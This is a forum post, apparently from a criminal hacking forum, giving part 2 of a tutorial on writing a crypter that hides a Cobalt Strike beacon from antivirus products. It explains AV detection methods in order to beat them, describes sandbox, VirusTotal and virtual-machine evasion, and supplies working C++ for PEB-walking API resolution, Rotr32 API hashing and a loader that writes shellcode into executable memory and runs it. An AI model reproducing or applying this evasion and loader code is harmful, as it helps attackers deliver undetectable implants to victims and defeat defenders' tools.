PART 2 Create Your own crypter andEncrypt Your Cobalt strike beacon and make it fud Bypass Kaspersky, Windows defender, Avira , And most Used AV

D2

Администратор
Регистрация
19 Фев 2025
Сообщения
4,380
Реакции
0
Write Your Own crypter with GUI in One tutorial, In less than One Hour. And Evad's most popular AV, EDR products!

The Killer Guide by TOP G.
Source: https://xss.is

This is part 2 You can check part one here: https://xss.is/threads/97133/#post-673933

Hi, this is TOP G from the xss forum and today will continue our Tutorial.

In the part 1 we created the GUI and Client - Server authentication, and in this part will start coding the Stub.

Before we start please make sure you already have Cobalt strike ready in this tutorial iam using Cobalt strike v4.8 You can use any version or you can use Metasploit.

After this tutorial , I guarantee you will bypass Kaspersky, Windows Defender, Avira, Avast, Bitdefender, AVG, and more.

I will teach you step by step! how to crypt your stub and get it FUD Runtime And Scantime

I WILL LEAVE POC’S VIDEOS FOR YOU TO SEE THE BYPASS, I CREATED A VIDEO BYPASSING ON TOP ASKED TO BYPASS AV LIKE WINDOWS DEFENDER AND Kaspersky.


# What Skills do you need to continue reading and learning from this tutorial?


1 - Just c/c++ Language (Visual Studio c++)
2 - Gui (Qt C++) If you don’t have any idea or skills to use Qt don’t worry I explained everything in the tutorial
3 - php but if you are familiar with Python or NodeJs you could also use them if you want

# Techniques we will use To bypass AVs and which Encryption algorithm?

Here are the futures we will use in our Crypt

1 ) - Runtime Crypting
2 ) - Runtime string obfuscation
3 ) - Anti Virus Total and Anti app.any.run
4 ) - Bypass Avast and AVG Sandbox ( this is a very important and private method )
5 ) - Anti Sandbox and virtual machines ( Detecting VMware and virtual box )
6 ) - Creating Custom GetModuleHandle and GetProcAddress
7 ) - API Hashing
8 ) - RC4 Encryption Algorithm


# Before Coding I will explain everything to you so you write the code after you understand the code and the techniques


Before we write anything about crypting and writing a crypter a few Information you need to know before.

You can’t Bypass AV or EDR if you don’t know how they work, and how they can detect
Your malware, Because of that I will tell you about detection Mechanisms
But first, you should know all Modern AV and EDR they can catch poorly written unknown malware and will talk more about this and how to bypass it in the correct section.
I saw a lot of questions on this forum for beginner developers asking how the Antivirus detects the program as a virus even if the code does not have any virus in it.

To answer this question and to bypass or fix this problem stay with me:


# AV, EDR Engines detection Mechanisms ( This section is very important to every malware developer ).

AV uses different ways and techniques to Detect Malicious software, I will list them and describe them.

1 ) Static Detection

This method can detect malware in different ways First method uses a Bytes Signature.
The second method is the names of the variables and Functions.

To understand what I mean in real life Generate a Cobalt strike beacon and open it using Hxd ( Hex Editor ) You can easily see the bytes 62 65 61 6F 6E 2E 78 36 34 2E 64 6C 6C and if you can see in the right section there is a string beacon.x64.dll


0.png



As you can see these bytes define your program as a Cobalt strike beacon and Antivirus can use this information to detect your program


2 ) Hashing Detection

This method is old but still working these days and it's very useful and very fast to detect Such as Known malwares or public malware.
This can be done by Antivirus by creating a hash for every malware and saving it in a Large database Then when a new exe is installed or dropped to the desk the AV creates a hash for it and compares it with hashes that are already saved in the database and if the hash found in the database they delete the malware instantly also this work with memory for example when you decrypt the malware and use WriteProcessMemory the Antivirus can catch it here with different ways I will tell you more about this in detection mechanisms number 5

I will give you an example :
Get any program you want or even a cobaltstirke beacon then fire up your Powershell
Use the function Get-FileHash to get the hash for the file as shown in the image below


1.png


This is the hash for my beacon 1F22CDD66B8D96070C299B0D661D0D8812223438EA9A92EBB8D5E52CE64060C0

So if I turn my AV on, the antivirus will instantly delete the file because the hash is already in the database of the AV vendor Why because Cobalt strike is a Known malware as you already know



3 ) Behavior-Based Detection

Behavior shield is the monster that eats any badly written unknown malware .

I will give you an example to understand what I mean .
Imagine you are developing your own malware Your malware works as follows when you click on the malware instantly downloads the encrypted beacon from the server and then decrypts it in memory After that it copies itself to a temporary directory %temp% and manipulates the registry to add itself to run with windows startup

The example above is for badly written malware and will be detected as soon as you click the program

The mistakes made in the example above :
1 - Invoking http requests after the program fired up without sleeping
2 - decrypting payload and copying it using WINAPI Function WriteProcessMemory or memcpy after decrypting so AV Vendor can install hooks on userland mode and when you use WriteProcessMemory he can use Hashing method or static detection method and compare it with his database and kill it in memory even not touched the desk
3 - copy self to temp directory this step is very used by malwares and it's very detected
4 - Manipulating the registry directly is not a good thing

So all of these steps described above will flag your program as malware even if it's not malware, But if decreasing by removing steps 3 and 4 it may work for some AV vendors because of Rate of red flags is decreased

I can’t forget to mention importing all these WINAPI in the same exe is also a big RED FLAG Just imagine a program that has WriteProcessMemory, RegCreateKeyEx, CopyFileA, URLDownloadToFile

And on that, the exe is not signed These mistakes are enough to make your Unknown malware to be detected before publishing it to the public

4 ) Dynamic Analysis

The dynamic analysis is very similar to the behavior shield method but in Dynamic analysis, the AV Vendor but the malware in a sandbox and runs it as a normal human clicks it then watches the actions of the malware and what behavior he will take

An example :
If exe runs and allocates memory this ok if this action can be alone but added to more actions like decrypting a shellcode and editing the registry then copying bytes in memory
This will also flag the exe as malware

So here it depends on what behavior your malware does to detect your Unkown malware

You can see that in real life create a program add suspicious functions and actions to your program compile it then go to https://app.any.run/ and upload your malware and watch the sandbox analysis and Mark your Unknown malware as Virus


5 ) WINPAI Or NTAPI Hooking

Some AV vendors and EDRs they using a very common technique called Hooking,
Simply hook is like a man in the middle attack someone is watching everything in your network same thing in winapi Hooking

The AV vendor installs hooks on some functions that are usually used by malware developer
The hook is a jump from the Real function like Writeprocessmemory to the AV function to scan the arguments and check if the copied data are malware or not

I will show you how to bypass this with different techniques 1 of the most popular techniques is to unhook the Hooked functions but in this tutorial, I will use different techniques when we are in the Futures section


6 ) Import address table

If you don’t know what is import address table is, simply a table that contains every single function you import in your project

If a project uses functions, for example, ReadProcessMemory Or any other function this function will be registered in the IAT or import address table

If a program contains too many flagged WINAPI OR NTAPI Functions then 100% its a malware The AV will instantly kill the process and delete the program from the desk.


To see the Import address table in real life and which functions are imported we can use dumpbin.exe If you have already installed Visual Studio

First, fire up the Developer command prompt and then go to the working directory where you have the program you want to test on the type dumpbin.exe /IMPORT exe_name.exe
This will display all import address tables and the dlls that function are imported from like you see in the picture below


2.png



As you can see the function VirtualAlloc , GetProcAddress , and GetModuleHandleW
Are imported from kernel32.dll

This is enough to flag our exe as malware

We can avoid this by Dynamicly importing the functions we need to use in our project This step help but still, GetModuleHandle and GetProcAddress functions will be stored in the Import address table and this is also a red flag to avoid this we can create a custom GetModuleHandle and GetProcAddress functions And I will tell you more information when we get to this step


# Explaining the futures

# The explanation before we wrote the code

1 # Runtime Crypting

Do you know what runtime encrypting is?

If you code in c# I guess you already know about runtime Compile that offers us the .NET because it's managed languages! This trick was used by c# and vb.net malware developers to compile their encrypted stubs at runtime, but as you know Native languages such as c++ or C can’t do that because the compiler translates our code into machine code and we can’t embed or edit the code after it gets compiled Like.net languages because of that and to do not leaked the source code of our crypter if we include it in our GUI we use the Server Side to store the Source code and the GUI will be Like a proxy that handle files and encryption between server and pc of user and on Server side we use php or any other scripting languages to do obfuscation and encryption

So, Runtime crypting is a method that allows us to store the encrypted payload and merge it with the stub that will Decrypt the payload and invoke it This method is very useful in bypassing AVs and EDRs because the runtime encrypting also allows us to obfuscate strings at runtime and change passwords for the encrypted payloads so we don’t use Static phrase or password for all stubs also we change compiling settings on the fly.

What makes Runtime encrypting superior to embedding encrypted malware in resources or the PE section, or even storing the encrypted payload on the server?

Embedding the encrypted payload to Resources or storing it in a pe section is a very common method that was an old solution for Crypters Sellers in past years
It is also very easy for malware analysis or blue team to detect your payload


Do all the crypters available in the market use this method?
No, not all of them. Only handmade crypters use this method because each stub is written for one customer. Additionally, this depends on the quality of the seller. However, there's no need to worry because, after this tutorial, you won't need to buy any crypters anymore. You can code your own instead.



2 # Runtime string obfuscation

Runtime obfuscation is a technique that allows us to obfuscate our malware Variables and function names On the Fly before Compiling the stub and this technique is very very important because this can change the complete signature of the stub

Why use this technique?

You had to know that only encrypting the shellcode itself and using the pre-compiled stub to embed the shellcode to it is not enough because if the malware gets detected by some Security researchers or by Antivirus vendors they will start doing reverse engineering on your malware to extract a signature of your variables and functions names this gives him ability if you encrypt a new shellcode even with different Pharse or password and change the signature to the encrypted shellcode! They can catch you but this time will catch your Crypt itself so Now we call this crypt Public and Known malware.

One more thing is that some security vendors share hashes and signatures with other companies to combine their technologies.

Sometimes you run your malware for example on Windows Defender and he Did not catch it! but after you run it on a different pc for example AVG antivirus and detect wait for a few minutes and run it again on Windows Defender you will see that Windows Defender starts detecting it as malware


3 # Anti Virus Total and Anti app.any.run

In this technique will use my Private method to detect and bypass the VirusTotal sandbox and app.any.run.
How does this technique work? First Virus Total uses different companies' VPS to run their sandboxes to check malware We can add a Winsock code inside our stub that only makes a post request to our Server then from a php code we can get the IP address and the ASN of the IP address and check it in our database if the ASN that belong to companies like Google, Amazon then we block the request by replying to the stub with 1 mean error then the stub will return -1;
Or Exist_Success to end the process and in this way, Virus Total can’t get the real behavior of our crypt


4 # Bypass Avast and AVG Sandbox ( this is a very important and private method )

Avast is one of the Antivirus vendors that build their custom sandbox to prevent any suspicious software from running on the main System before testing the behavior of the suspicious software on their custom sandbox
3.png



As you can see in the image above when I click on my program for the first time, Avast pauses my program and runs it on its sandbox, This sandbox is not like any other sandbox as I said before Avast developed its own sandbox And Using the Public methods to bypass this type of sandbox is not a Goal in the net.

Because of that months ago I was digging in and testing my codes to bypass the Avast sandbox I discovered that Avast sandbox cannot connect or use the wmic namespace so if we exploit this bug we can detect the Avast sandbox.
In real life, If we tried to use the COM library and use the function CoCreateInstance then try to connect to the root namespace ROOT\\CIMV2
using the function IWbemLocator::ConnectServer in a normal situation even if we ran the software on VirtualBox or VMware or Windows server the return value should be S_OK but because of this bug in Avast sandbox it will fail to connect That’s where we detect the Avast sandbox and Escape from it

Cool you may not understand but when we came to the coding section you should understand more



5 # Anti Sandbox and virtual machines ( Detecting VMware and virtual box )

Bypassing VMware and VirtualBox is an important future in any malware because all malware analysis when making checks for some programs always will use a VirtualBox or VMware and not add any
This is a good technique to stop blue teams or malware analysis teams and sandbox also


6 # Creating Custom GetModuleHandle and GetProcAddress

Creating our custom GetModuleHandle and GetProcAddress is a very important thing in malware development cause as I said before in the detection mechanisms import address table section the Antivirus can check for the imported function and if there are any couple of suspicious functions,

More suspicious functions have a red flag rate, and because of this need to hide our IAT

Let's get this example to show you how this work

Fire up your visual studio and create a new empty c++
Create a new c++ file

Go to project properties -> linker -> advanced
Then I added an entry point, I added one and named it xss

Go to project properties -> C/C++ -> Security checks
disable security checks

Go to project properties -> linker -> System
Then change the subsystem to Windows

Now go to
Finally, add this code to the project and compile it

C: Скопировать в буфер обмена
Код:
int xss()
{
   
 
   
    return 0;
}

Open the developer command prompt and go to the project path
Type this: dumpbin.exe /IMPORTS test.exe
4.png



As you can see there is no Import address table available because we did not use any function yet,

Now add this function to the project and recompile the project

C: Скопировать в буфер обмена
GetModuleHandleA(NULL);

Again same command: dumpbin.exe /IMPORTS test.exe
5.png



Here as you can see when we added the GetModuleHandle function and recompiled the project the GetModuleHandle shows in the Import address table

I think you get the idea.



Before we write the code for the GetModuleHandle you should Know How does the GetModuleHandle Work?

The function GetModuleHandle is responsible for retrieving a handle for a Dll that is specified by you.

When you call the function and the dll name and find it returns handle to the Dll and return NULL if the function name is wrong or not found

How to get the dll handle?
The handle is the base address of our dll and to retrieve it first we need to retrieve the
PEB then gets a pointer to the LDR member from PEB and finally gets the first element of the linked list

PEB is a structure and has members but what we are looking for is the PEB_LDR_DATA Ldr
Source: https://learn.microsoft.com/en-us/windows/win32/api/winternl/ns-winternl-peb ,
https://learn.microsoft.com/en-us/windows/win32/api/winternl/ns-winternl-peb_ldr_data

PEB_LDR_DATA is the member that stores all loaded modules in the process
PEB_LDR_DATA is also a structure that contains other members
The important struct for Us is the LIST_ENTRY InMemoryOrderModuleList struct

So to retrieve the loaded Dll will need to create a while loop to enumerate all Loaded dlls names
Once we find it using a comparing method for example using strcmp we return the Address of the function we are looking For.

You can see the Microsoft documentation from like above if you wanna read more about it.

So now we need to loop on InMemoryOrderModuleList and create the strcmp to find Our function

Good now we finished talking about GetModulehandle Don’t Worry I will explain the code as soon as we are in the coding section





How Does GetProcAddress Work !?


GetProcAddress retrieves the address of the exported function from the module we load it and retrieve the handle, If the function is found it returns the base address of the function we want to import, and if not found it will return NULL If a function is not found

To know exactly how GetProcAddress works you need to know how that GetProcAddress finds the address of the functions

GetProcAddress uses the hModule that we specify and as you already know the hModule is the base Address of the dll, then we loop through the exported functions inside the target dll after that we can do a normal if condition to check if we found the string or the name of the target function and when we found the target function we return its base address other than that we return NULL.

We access the exported functions we first need to get a pointer to the export table and then loop on the function names until we find our function

But this is not all of it because when we finish this function will add more improvements to it like Hashing and that what we call it API Hashing will discuss this in the future but now


7 # API Hashing

What is api hashing and why use it if we already created our custom Custom Functions to load and retrieve winapi functions address?

Api hashing is a technique that replaces the strings with hashes to hide the string and function names and make it harder for malware analysis and blue teams to detect the Suspicious Functions Also this will leave no trace for the function names for example as in the example above we used CustomGetProcAddress(), CustomGetModuleHandle() and passed the module we want to load and the function we wanna get theirs address to use it in our code

There are a lot of api hashing algorithms but one of the best of them is Rotr32

The most used Hashing algorithm used is the Rotr32

In real life how does hashing look like for example, we need to replace the NTAPI function NtwriteVirtualMemory or hash it using Rotr32 the result is 0xa2f3a5e9 so 0xa2f3a5e9 is the replacement of the NtwriteVirtualMemory
Merging it with the Custom Functions we created we are now able to Load the Modules and functions stealthily


7 # RC4 encryption

Why use RC4 encryption there are too many encryption algorithms such as AES.
We use the RC4 encryption for a specific reason

The RC4 encryption algorithm has a future that can encrypt and decrypt payload in 1 function without needing to use 2 functions, AES uses 2 functions one for Encrypt and 1 for Decrypt

In Our situation, we are encrypting cobalt strike, and the steps to invoke it are as follows

In this example if we were using an encryption algorithm like AES
1 - Get process id
2 - Open the process and get a handle on the target process
3 - Decrypt shellcode
4 - Allocate memory
5 - Write shellcode
6 - invoke shellcode

I used the Lucid Char app to draw the process below) to make more easier for you to understand it.
6.png



As you can see in the example above we wrote the shellcode after the decryption this makes us Vulnerable and the Antivirus can catch our payload while writing it to the process


So to fix this problem we used RC4 and the steps when using RC4 encryption algorithms like follows

1 - Get process id
2 - Open the process and get a handle on the target process
4 - Allocate memory
5 - Write Encrypted shellcode
3 - Decrypt shellcode in the allocated memory
6 - invoke shellcode
7.png


In this example above we avoid being detected while writing the shellcode, So gives us the advantages


# Coding Section

Here we go again, Fire up your Visual Studio, You can use the old project we created before or you can just create a new empty c++ project For only now create a single cpp file you can name it main.cpp

Will first start with The Custom GetModuleHandle And Custom GetProcaddress

Add this code below

C: Скопировать в буфер обмена
Код:
BOOL XssCompareString(LPCWSTR OriginalString,INT OriginalStringLength, const char* moduleName)
{

    // cast from LPCWSTR to char
    int OriginaLen = WideCharToMultiByte(CP_ACP, 0, OriginalString, OriginalStringLength, NULL, 0, NULL, NULL);
    char * cString = new char[OriginaLen + 1];
    WideCharToMultiByte(CP_ACP, 0, OriginalString, OriginalStringLength, cString, OriginaLen, NULL, NULL);
   
    cString[OriginaLen] = '\0';

    // lower the uppercase charchtar
    char *LowercString;
    LowercString = new char[OriginaLen + 1];

    for (int i = 0; i < OriginaLen; i++)
    {
        LowercString[i] = (WCHAR)tolower(cString[i]);
    }

    //printf("LowercString   : %s \n", LowercString);

    // lower the uppercase charchtar
    int moduleNameLen = strlen(moduleName);
    char * LowermoduleName;
    LowermoduleName = new char[moduleNameLen + 1];
    for (int i = 0; i < moduleNameLen; i++)
    {
        LowermoduleName[i] = (WCHAR)tolower(moduleName[i]);
    }

    //printf("LowermoduleName   : %s \n", LowermoduleName);

    if (strcmp(LowercString, LowermoduleName) == 0)
    {
        printf("[+] Dll Found %s \n", LowercString);
        return TRUE;
    }
    printf("[+] Dll Not Found %s \n", LowercString);
    return FALSE;
}


HMODULE XssTutorialGetModuleHandle(const char* moduleName)
{

    PPEB  pBEB = (PEB*)(__readgsqword(0x60));

    PPEB_LDR_DATA pPebLDR = (PPEB_LDR_DATA)(pBEB->Ldr);

    PLDR_DATA_TABLE_ENTRY pLdrTEntry = (PLDR_DATA_TABLE_ENTRY)(pPebLDR->InMemoryOrderModuleList.Flink);

    while (pLdrTEntry)
    {

        if (pLdrTEntry->FullDllName.Length == NULL)
            break;
        else
        {

            if(XssCompareString(pLdrTEntry->FullDllName.Buffer, pLdrTEntry->FullDllName.Length, moduleName))
            {
               
                return (HMODULE)pLdrTEntry->Reserved2[0];
            }
           

        }

        pLdrTEntry = *(PLDR_DATA_TABLE_ENTRY*)(pLdrTEntry);
    }
   
    return NULL;
}

I guess you already know what this code does, The code you saw above is the replacement of the GetModuleHandle Please back to the explanation section to understand more don’t skip it
I named the replacement function XssTutorialGetModuleHandle

Steps :
First, we got the PEB using __readgsqword and the offset that points to PPEB is 0x60

Then we got the LDR_Data and saved it in Variable pPebLDR then got the table entry of the LDR data and started looping on it.

As you can see inside the Loop there is an if statement to compare the two strings
If we're equals and the functions that are used to make the checks is CompareString
The reason to create our own function is that some modules or dlls names are Uppercases strings and some are not so we can’t use strcmp directly Also the CompareString converts the LPWSTR to char and then converts the char to lower string and uses the strcmp to compare the two strings and if they are equal it returns TRUE, if functions finish all loop without find matches it returns false mean their error with the module name

XssTutorialGetModuleHandle uses the if statement to check the returned value by the function CompareString and if returned true it returns a handle to the Loaded DLL and then our custom GetProcAddress can use the handle to obtain the target function

Now add the code

C: Скопировать в буфер обмена
Код:
FARPROC XssTutorialGetGetProcAddress(HMODULE hModule, LPCSTR lpApiName)
{

    // we do this to avoid casting at each time we use hmodule

    PBYTE pImg = (PBYTE)hModule;

    PIMAGE_DOS_HEADER dos_header = (PIMAGE_DOS_HEADER)pImg;
    PIMAGE_NT_HEADERS64 Nt_haders = (PIMAGE_NT_HEADERS64)(pImg + dos_header->e_lfanew);
    PIMAGE_OPTIONAL_HEADER Img_OptionalHeader = (PIMAGE_OPTIONAL_HEADER)&Nt_haders->OptionalHeader;
    PIMAGE_EXPORT_DIRECTORY ImageExportDirectory = (PIMAGE_EXPORT_DIRECTORY)(pImg + Img_OptionalHeader->DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);

    // getting the functions name array pointer

    PDWORD fNameArry = (PDWORD)(pImg + ImageExportDirectory->AddressOfNames);
    // Gettings the functions address array pointer
    PDWORD fAddrArray = (PDWORD)(pImg + ImageExportDirectory->AddressOfFunctions);
    // Gettings the functions ordinal array pointer
    PWORD fOrdinalArray = (PWORD)(pImg + ImageExportDirectory->AddressOfNameOrdinals);

    for (DWORD i = 0; i < ImageExportDirectory->NumberOfFunctions; i++)
    {
        // Getting the name of the function
        char* pFunctionName = (char*)(pImg + fNameArry[i]);

        // Getting the address of the function through its ordinal
        PVOID pFunctionAddress = (PVOID)(pImg + fAddrArray[fOrdinalArray[i]] );

        // Searching for the function specified
        if (strcmp(lpApiName, pFunctionName) == 0)
        {
            //printf("[-] found  Function name  : %s Function Address 0x%p\n", pFunctionName, pFunctionAddress);
            return (FARPROC)(pFunctionAddress);
        }
        else
        {
            //printf("[-] not found  Function name  : %s Function Address 0x%p \n", pFunctionName );
        }
    }

    return NULL;

}

This code is the replacement of the GetProcAddress and I name my custom function as XssTutorialGetGetProcAddress

The first thing we did in the code above, we cast the base Address of the Loaded Dll by the function XssTutorialGetModuleHandle to PBYTE
I hope you have experience with manipulating PE structure cause this will help you anyway, so next we get the dos header, nt headers, optional header, and export directory.

We used the export directory table to get the AddressOfName, AddressOfFunctions, AddressOfnameOrdinals
Finally, we create a loop and the limit is the number of functions here we create a Comparison between the two strings and if the function name is found we return the function address.

You can test the two codes below and compare them with the originals by adding this code

C: Скопировать в буфер обмена
Код:
    HMODULE  ntdll = GetModuleHandleA("ntdll");
    HMODULE  replacement_ntdll = XssTutorialGetModuleHandle("ntdll.dll");


    printf("[-] Original   ntdll address 0x%x\n", ntdll);
    printf("[-] Replacment ntdll address 0x%x\n", replacement_ntdll);

    FARPROC ofpNtWriteVirtualMemory = GetProcAddress(replacement_ntdll, "NtWriteVirtualMemory");


    FARPROC fpNtWriteVirtualMemory = XssTutorialGetGetProcAddress(ntdll, "NtWriteVirtualMemory");

    printf("[-] Original NtWriteVirtualMemory address 0x%x\n", ofpNtWriteVirtualMemory);
    printf("[-] NtWriteVirtualMemory address 0x%x\n", fpNtWriteVirtualMemory);

Now create another c++ empty project and name it Hasher This project will be used to hash the string function names
Add this code and this code is for the Rotr32 hashing

C: Скопировать в буфер обмена
Код:
UINT32 HashStub(UINT32 Value, UINT Count)
{
    DWORD Mask = (CHAR_BIT * sizeof(Value) - 1);
    Count &= Mask;
#pragma warning( push )
#pragma warning( disable : 4146)
    return (Value >> Count) | (Value << ((-Count) & Mask));
#pragma warning( pop )
}

DWORD64 Rotr32A(const char* String)
{
    DWORD64 Value = 0;

    for (INT Index = 0; Index < strlen(String); Index++)
        Value = String[Index] + HashStub(Value, SEED);

    return Value;
}

In the main function add this code
C: Скопировать в буфер обмена
Код:
    char  StrName[MAX_PATH];

    strcpy_s(StrName, "NtQuerySystemInformation");

    printf("Function name : %s ", StrName);

    DWORD64 Result = Rotr32A(StrName);

    printf("Hash of ntdll.dll 0x%x ", Result);

In the code example above we are hashing the function NtQuerySystemInformation Now will make it more dynamic and hash the full function names and save it as .h or header file


To do that replace the old code with this one

C: Скопировать в буфер обмена
Код:
bool replace(std::string& str, const std::string& from, const std::string& to) {
    size_t start_pos = str.find(from);
    if (start_pos == std::string::npos)
        return false;
    str.replace(start_pos, from.length(), to);
    return true;
}

int main()
{
    std::string config = R"(#define Hashed_1  0xNtAllocateVirtualMemory //NtAllocateVirtualMemory
#define Hashed_2  0xNtWriteVirtualMemory   //NtWriteVirtualMemory
#define Hashed_3  0xntdll   //Ntdll

#ifndef NT_SUCCESS
#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0)
#endif

//Hashed_1
typedef NTSTATUS(NTAPI* fpHashed_1)(HANDLE ProcessHandle, PVOID* BaseAddress, ULONG ZeroBits, PULONG RegionSize, ULONG  AllocationType, ULONG  Protect);
//Hashed_2
typedef NTSTATUS(NTAPI* fpHashed_2)(HANDLE ProcessHandle, PVOID  BaseAddress, PVOID  Buffer,ULONG  NumberOfBytesToWrite,PULONG NumberOfBytesWritten );


typedef void(WINAPI* vanilia)();

)";

    char  Hashed_1[MAX_PATH];
    DWORD Result = NULL;
    Result = Rotr32A("NtAllocateVirtualMemory");

    sprintf(Hashed_1, "0x%x ", Result);

    replace(config, "0xNtAllocateVirtualMemory", Hashed_1);

    char  Hashed_2[MAX_PATH];
    Result = Rotr32A("NtWriteVirtualMemory");

    sprintf(Hashed_2, "0x%x ", Result);

    replace(config, "0xNtWriteVirtualMemory", Hashed_2);

    char  Hashed_3[MAX_PATH];
    Result = Rotr32A("ntdll.dll");

    sprintf(Hashed_3, "0x%x ", Result);

    replace(config, "0xntdll", Hashed_3);

   
    HANDLE hConfig = CreateFileA("Config.h", GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);

    if(WriteFile(hConfig, config.c_str(), strlen(config.c_str()), 0, 0))
    {
        std::cout << "[*] Config Written success: "<< std::endl;
    }
    CloseHandle(hConfig);
}

Here we create a Raw String The Raw string will contain the function names to replace it when applying the hashing as you can see in the example code above

There are two functions that will be used and they are critical If detected in the IAT the exe will be suspicious so are these two functions

Functions
1 - NtAllocateVirtualMemory
2 - NtWriteVirtualMemory
Modules
1 - Ntdll.dll

That’s it, The Hasher is now ready When you run the hasher.exe you should see a new file Config.h and this is the file that contains the hashed strings and typedefs for the functions, and modules we need to use
Now get back to the Decrypt project.
In the Decrypt project Include the Config.h header file that we created using the hasher.exe
Now will make the changes to the two functions that we already created XssTutorialGetModuleHandle, XssTutorialGetGetProcAddress
In the examples above we retrieve the base address of the module and the address of the function by first comparing the two strings the one we add and need to load and the one that is retrieved from the IAT, but now we will replace the string with hashes.
Add the two codes below to your project

C: Скопировать в буфер обмена
Код:
BOOL XssCompareHashes(LPCWSTR OriginalString, INT OriginalStringLength, DWORD ModuleHash)
{
    // cast from LPCWSTR to char
    int OriginaLen = WideCharToMultiByte(CP_ACP, 0, OriginalString, OriginalStringLength, NULL, 0, NULL, NULL);
    char* cString = new char[OriginaLen + 1];
    WideCharToMultiByte(CP_ACP, 0, OriginalString, OriginalStringLength, cString, OriginaLen, NULL, NULL);

    cString[OriginaLen] = '\0';

    // lower the uppercase charchtar
    char* LowercString;
    LowercString = new char[OriginaLen + 1];

    for (int i = 0; i < OriginaLen; i++)
    {
        LowercString[i] = (WCHAR)tolower(cString[i]);
    }
    LowercString[OriginaLen] = '\0';

    printf("LowercString   : %s \n", LowercString);

    DWORD Result = Rotr32A(LowercString);
    if(Result == ModuleHash)
    {
        return TRUE;
    }

    return FALSE;

}
HMODULE XssTutorialGetModuleHandle(DWORD moduleName)
{

    PPEB  pBEB = (PEB*)(__readgsqword(0x60));

    PPEB_LDR_DATA pPebLDR = (PPEB_LDR_DATA)(pBEB->Ldr);

    PLDR_DATA_TABLE_ENTRY pLdrTEntry = (PLDR_DATA_TABLE_ENTRY)(pPebLDR->InMemoryOrderModuleList.Flink);

    while (pLdrTEntry)
    {

        if (pLdrTEntry->FullDllName.Length == NULL)
            break;
        else
        {
       
             if (XssCompareHashes(pLdrTEntry->FullDllName.Buffer, pLdrTEntry->FullDllName.Length, moduleName))
            {
   
                return (HMODULE)pLdrTEntry->Reserved2[0];
            }


        }

        pLdrTEntry = *(PLDR_DATA_TABLE_ENTRY*)(pLdrTEntry);
    }

    return NULL;
}

C: Скопировать в буфер обмена
Код:
FARPROC XssTutorialGetGetProcAddress(HMODULE hModule, DWORD HashedfuncName)
{

    // we do this to avoid casting at each time we use hmodule

    PBYTE pImg = (PBYTE)hModule;

    PIMAGE_DOS_HEADER dos_header = (PIMAGE_DOS_HEADER)pImg;
    PIMAGE_NT_HEADERS64 Nt_haders = (PIMAGE_NT_HEADERS64)(pImg + dos_header->e_lfanew);
    PIMAGE_OPTIONAL_HEADER Img_OptionalHeader = (PIMAGE_OPTIONAL_HEADER)&Nt_haders->OptionalHeader;
    PIMAGE_EXPORT_DIRECTORY ImageExportDirectory = (PIMAGE_EXPORT_DIRECTORY)(pImg + Img_OptionalHeader->DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);

    // getting the functions name array pointer

    PDWORD fNameArry = (PDWORD)(pImg + ImageExportDirectory->AddressOfNames);
    // Gettings the functions address array pointer
    PDWORD fAddrArray = (PDWORD)(pImg + ImageExportDirectory->AddressOfFunctions);
    // Gettings the functions ordinal array pointer
    PWORD fOrdinalArray = (PWORD)(pImg + ImageExportDirectory->AddressOfNameOrdinals);

    for (DWORD i = 0; i < ImageExportDirectory->NumberOfFunctions; i++)
    {
        // Getting the name of the function
        char* pFunctionName = (char*)(pImg + fNameArry[i]);

        // Getting the address of the function through its ordinal
        PVOID pFunctionAddress = (PVOID)(pImg + fAddrArray[fOrdinalArray[i]]);

        // Searching for the function specified


        DWORD Result = Rotr32A(pFunctionName);

        if (HashedfuncName == Result)
        {
            printf("[-] found  Function name  : %s Function Address 0x%p\n", pFunctionName, pFunctionAddress);
            return (FARPROC)(pFunctionAddress);
        }
        else
        {
            //printf("[-] not found  Function name  : %s Function Address 0x%p \n", pFunctionName );
        }
    }

    return NULL;

}

As you can see in the Example above we remove any strings that belong to those functions
An small attention here you can also rename the function's names as you want.

In the main function add the above code

C: Скопировать в буфер обмена
Код:
printf("[-] Starting ... ");
    HMODULE  replacement_ntdll = XssTutorialGetModuleHandle(Hashed_3);

    fpHashed_1 fpNtAllocateVirtualMemory = (fpHashed_1)XssTutorialGetGetProcAddress(replacement_ntdll, Hashed_1);
    fpHashed_2 fpNtWriteVirtualMemory = (fpHashed_2)XssTutorialGetGetProcAddress(replacement_ntdll, Hashed_2);

    PVOID BaseAddres = NULL;
    DWORD EncImageLen = sizeof(image);
    DWORD OldProtect = NULL;

   
    if (!NT_SUCCESS(fpNtAllocateVirtualMemory(GetCurrentProcess(), &BaseAddres, 0, &EncImageLen, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE)))
    {
        printf("[-] Faild to allocate memory\n");
        return -1;
    }


    if(!NT_SUCCESS(fpNtWriteVirtualMemory(GetCurrentProcess(), BaseAddres, image, EncImageLen, 0)))
    {
        printf("[-] Faild to Write to memory\n");
        return -1;
    }


    vanilia done = (vanilia)BaseAddres;

    done();

The code above executes the functions that we created after that he invokes the shellcode.

For sure you are asking where is the Encryption. we first need to test the connection before continuing.

Now Go to Cobalt strike Gui and create a raw stageless shellcode x64 then get back to the project and use HXD to convert the raw shellcode to Pure c Shellcode type and add the shellcode to a file name it encImage.h or header

Then compile your code and make sure your Antivirus Is OFF until now.

We will Turn the Antivirus On as soon as we finish the testing

Now after You compiled the Stub fire it up and you should see the connection in your CobaltStrike as shown in the image below.

8.png



Good some changes we will add soon Also will make the encryption and connect the GUI with the server crypter

But for now, The Tutorial is very large and make sure you read everything and understand it.

I will make one more PART to be 3 Parts, so this is PART 2 of PART 3

In this tutorial, we created our custom functions and invoked the Cobalt strike shell in PART 3 we will add the All futures and connect the GUI with the server side Crypter
 
Сверху Снизу